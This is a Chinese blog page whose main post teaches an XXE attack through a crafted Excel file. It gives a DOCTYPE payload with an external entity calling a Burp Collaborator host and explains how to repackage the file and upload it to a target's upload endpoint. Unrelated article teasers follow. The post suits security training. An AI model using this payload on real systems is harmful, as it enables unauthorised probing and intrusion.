利用EXCEL进行XXE攻击
利用EXCEL进行XXE攻击
- 原因
原因
Microsoft Office从2007版本引入了新的开放的XML文件格式，新的XML文件格式基于压缩的ZIP文件格式规范，由许多部分组成。
我们可以将其解压缩到特定的文件夹中来查看其包含的文件夹和文件，可以发现其中多数是描述工作簿数据、元数据、文档信息的XML文件。
我们创建一个excle，并解压
xl/drawings/drawing1.xml
xl/worksheets/sheet1.xml
xl/worksheets/_rels/sheet1.xml.rels
xl/sharedStrings.xml
xl/styles.xml
xl/workbook.xml
xl/_rels/workbook.xml.rels
_rels/.rels
[Content_Types].xml
需要修改workbook.xml文件，以下内容插入第2行和第3行，SYSTEM后面自己添加相对应的dns记录均可，我习惯使用burp的collaborator模块
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]>
<x>&xxe;</x>
添加好后重新打包成excle的后缀，如xxe.xlsx
此时恶意文件就做好了，找到对应的文件上传的接口，直接上传excle文件，观察dns是否有记录
相关文章：
利用EXCEL进行XXE攻击
利用EXCEL进行XXE攻击 原因 原因 Microsoft Office从2007版本引入了新的开放的XML文件格式，新的XML文件格式基于压缩的ZIP文件格式规范，由许多部分组成。 我们可以将其解压缩到特定的文件夹中来查看其包含的文件夹和文件，可以发现其中多数是…...
芯片验证就是一次旅行
如果你国庆希望去一个你不曾去过的城市旅行，比如“中国苏州”。对游客来说，它是个蛮大的城市，有许多景点可以游玩，还有许多事情可以做。但实际上，即使最豪也最清闲的游客也很难看苏州的所有方方面面。同样的道理也适用…...
Java深入理解线程的三大特性
目录 1 CPU缓存导致可见性问题2 线程切换导致原子性问题3 性能优化导致有序性问题4 JMM(Java Memory Model)5 volatile6 synchronized 1 CPU缓存导致可见性问题 线程的三大特性： 可见性：Visibility有序性：Ordering原子性：Atomic…...
2025快手校招面试真题汇总及其解答（二）
6. hashmap数据结构 HashMap 是一种散列表，它是一种根据键值对来存储数据的数据结构。HashMap 的特点是插入、查找和删除操作的时间复杂度都是 O(1)，因此它是一种非常高效的数据结构。 HashMap 的工作原理是将键值对存储在一个数组中，每个键值对都由一个哈希函数来映射到数…...
PHP生成带中文的图片
imagettftext() 函数是 PHP 中的一个内置函数，用于使用 TrueType 字体将文本写入图像。 句法： 数组imagettftext（资源$image，float $size，float $angle， int $x，int $y，…...
java框架-Dubbo
Dubbo整合Springboot BIO NIO Netty Dubbo 原理 在这里插入图片描述...
Vue+iview 组件中通过v-for循环动态生成form表单进行表单校验
在做项目时，需要根据需要动态添加或新增表单，同时还需要对表单做校验。详情如下图： 刚开始做表单验证的时候，对于这个动态的表单验证有点难搞，试了好几种方法都没有搞定。最后按照下面这种方法实现了，以此…...
sns.load_dataset(“iris“)报错原因探究+解决办法
问题描述 import seaborn as sns # 读取数据 iris sns.load_dataset("iris")在代码中使用了seaborn ，并加载iris数据，结果产生了报错信息如下所示 问题分析 原因很简单，我们使用了sns.load_dataset("iris")来加载数据…...
python回文素数
这能有1和本身整除的整数叫素数；如一个素数从左向右和从右向左是相同的数，则该素数为回文素数。编程求出2-1000内的所有回文素数。 源代码： def sushu(n): for i in range(2,n//21): if n%i 0: return False r…...
纽扣电池16CRF1700.15,16CFR1700.20,ANSI C18.3M如何申请？
随着科技的发展，纽扣电池被广泛应用于小型电子产品，如计算器、电子手表、玩具、医疗设备等。由于其体积小，易于拆卸，也造成了儿童误吞的潜在风险。因此，对于纽扣电池的认证和包装，各国均有相应的规定。 在美…...
10.12广州见 | 第十六届智慧城市大会报名通道全面开启
第十六届中国智慧城市大会 将于10月12日至13日 在广州举办 智慧城市是数字中国、智慧社会的核心载体，是数字时代城市发展的高级形态。由中国服务贸易协会、中国测绘学会、中国遥感委员会主办的第十六届中国智慧城市大会，将以“数实融合开放创新智引未…...
2023-油猴（Tampermonkey）脚本推荐
2023-油猴（Tampermonkey）脚本推荐 知乎增强 链接 https://github.com/XIU2/UserScript https://greasyfork.org/zh-CN/scripts/419081 介绍 移除登录弹窗、屏蔽首页视频、默认收起回答、快捷收起回答/评论（左键两侧）、快捷回…...
某度sign参数逆向
文章目录 前文分析完整代码结尾 前文 本文章中所有内容仅供学习交流，严禁用于商业用途和非法用途，否则由此产生的一切后果均与作者无关，若有侵权，请联系我立即删除！ 分析 经过我们几次抓包，测试…...
【选型】JAVA生成PPT及选型
可以使用的框架（类库）：POI，OpenOffice/LibreOffice，Aspose.Slides，Java开源报表工具（JasperReports,BIRT等）。 具体如下: 方案优点缺点Apache POI- 开源免费- 可完全控制PPT生成- …...
LPA*算法图文详解
之前我们看过了A* 算法，知道了A* 算法的基本原理，但是A* 算法的缺陷也很明显：它是离线的路径规划算法，只能一次规划出路径，但是后面路径被改变的话就无法生效了。针对这个问题，人们研究出了D* 算法。D* 算法…...
】)
【Unity的HDRP渲染管线下实现好用的GUI模糊和外描边流光效果_Blur_OutLine_案例分享(内附源码)】
实现好用的模糊效果_Blur HDRP渲染管线下搭建场景创建RenderTextureRenderTexture 与相机的配置：UI层 Canvas的不同Render Mode：Canvas 在Screen Space - Overlay 模式下：UI旋转Y轴，没有透视。切换到Screen Space - Camera 模式下：UI层跑到物体后面去了，将Plane Distance…...
电脑D盘格式化会有什么影响？电脑D盘格式化了怎么恢复数据
当电脑出现问题时，往往会出现一些提示，例如提示格式化的问题，而最近有位小伙伴也遇到了相似的问题，即D盘一打开就显示格式化，由于不清楚D盘格式化会有什么影响，因此不小心进行了格式化操作，结果…...
【Spring】多环境切换
🎈博客主页：🌈我的主页🌈 🎈欢迎点赞 👍 收藏 🌟留言 📝 欢迎讨论！👏 🎈本文由 【泠青沼~】 原创，首发于 CSDN🚩…...
python经典百题之求10000之内的素数
题目：求10000之内的素数 程序分析 求10000之内的素数是一个常见的问题。素数是大于1且只能被1和自身整除的整数。我们可以使用循环遍历10000以内的每个数，判断其是否是素数。 方法1: 简单遍历法 遍历2到10000之间的每个数，判断其是否为素…...
ROS2 从头开始：第 5 部分 - 并发、执行器和回调组
一、说明 让我们回到基础。并发意味着系统或软件可以同时运行许多任务。例如，在单核 CPU 机器上，可以通过使用线程来实现并发。本文探讨了...
nardeas/ssh-agent：增强版SSH代理工具的设计、部署与实战应用
1. 项目概述：一个被低估的SSH代理工具如果你和我一样，日常需要在多台服务器、开发机、跳板机之间穿梭，手里捏着十几把甚至几十把SSH密钥，那你一定对ssh-agent这个工具又爱又恨。爱的是，它确实能让你免去一遍遍输入密钥…...
NotebookLM溯源结果不显示原文页码？紧急补丁已部署！2024Q3最新API v2.3溯源增强版深度解读
更多请点击： https://intelliparadigm.com 第一章：NotebookLM溯源功能演进与v2.3核心定位 NotebookLM 自 2023 年初发布以来，其“溯源”能力经历了从静态引用标注到动态上下文感知的显著跃迁。早期版本仅支持对上传文档片段生成粗粒度来源标…...
AI 写代码编译器却只给人看，Zero：一门给 Agent 设计的系统编程语言，让一切副作用显式可见
Vercel 的实验室最近放出一个叫 Zero 的东西，一门自称"给 Agent 用的系统编程语言"，2026 年 5 月刚发布 v0.1.1，编译器用 C 写的，文件后缀是 .0。单凭这个后缀，就知道这是一门不肯对任何既有生态妥协的新语言…...
Bandgap设计避坑指南：从Cadence仿真看运放稳定性与启动电路的那些事儿
Bandgap设计避坑指南：从Cadence仿真看运放稳定性与启动电路的那些事儿 在模拟IC设计的江湖里，Bandgap电路就像一位深藏不露的内功大师——表面简单，实则暗藏玄机。许多工程师在完成主电路设计后，常常会遇到两个"幽灵问题&quo…...
Harness层加密传输：Agent通信安全
Harness层加密传输：Agent通信安全 标题选项 《CI/CD管道的“隐形长城”：深入Harness Agent通信全链路加密传输机制》《从握手到数据：拆解Harness云原生平台Agent-Manager层加密传输的核心原理与实践》《DevOps安全必知：Harness如…...
SDXL动画生成实战：AnimateDiff与Hotshot-XL效果对比与配置详解
1. SDXL动画生成工具概览 最近在玩SDXL动画生成的朋友应该都听说过AnimateDiff和Hotshot-XL这两款神器。作为目前最主流的两个文生视频开源工具，它们都能基于SDXL模型将静态图片转换成动态视频。不过在实际使用中，我发现两者的效果差异还挺明显的。 先说…...
卫星通信安全认证技术解析与应用实践
1. 卫星通信安全认证技术概述卫星通信作为现代通信体系的重要组成部分，其安全性直接关系到国家安全和经济发展。在开放的空间环境中，通信信号极易被截获和干扰，这使得安全认证技术成为卫星通信系统设计的核心环节。当前主流的卫星通信安全认证…...
ROS2 Galactic下源码编译TEB局部规划器：从依赖安装到成功运行Navigation2的保姆级避坑记录
ROS2 Galactic源码编译TEB局部规划器全流程实战指南 在机器人导航领域，TEB（Timed Elastic Band）局部规划器因其优秀的动态避障能力而备受青睐。然而当我们将目光转向ROS2 Galactic时，会发现官方仓库并未提供预编译的TEB功能包&…...
WinForm上位机实战：5分钟用C#连接西门子PLC（Modbus TCP，含仿真环境搭建）
WinForm上位机实战：5分钟用C#连接西门子PLC（Modbus TCP，含仿真环境搭建） 工业自动化领域中，上位机与PLC的通信是核心技术之一。本文将带您快速实现一个基于C# WinForm的西门子PLC监控系统，全程采用Modbus T…...
火绒安全软件实战教程：快速查杀、全盘查杀、自定义查杀到底怎么选？
🔥个人主页：杨利杰YJlio❄️个人专栏：《Sysinternals实战教程》《Windows PowerShell 实战》《WINDOWS教程》《IOS教程》《微信助手》《锤子助手》 《Python》 《Kali Linux》 《那些年未解决的Windows疑难杂症》🌟 让复杂的事情更…...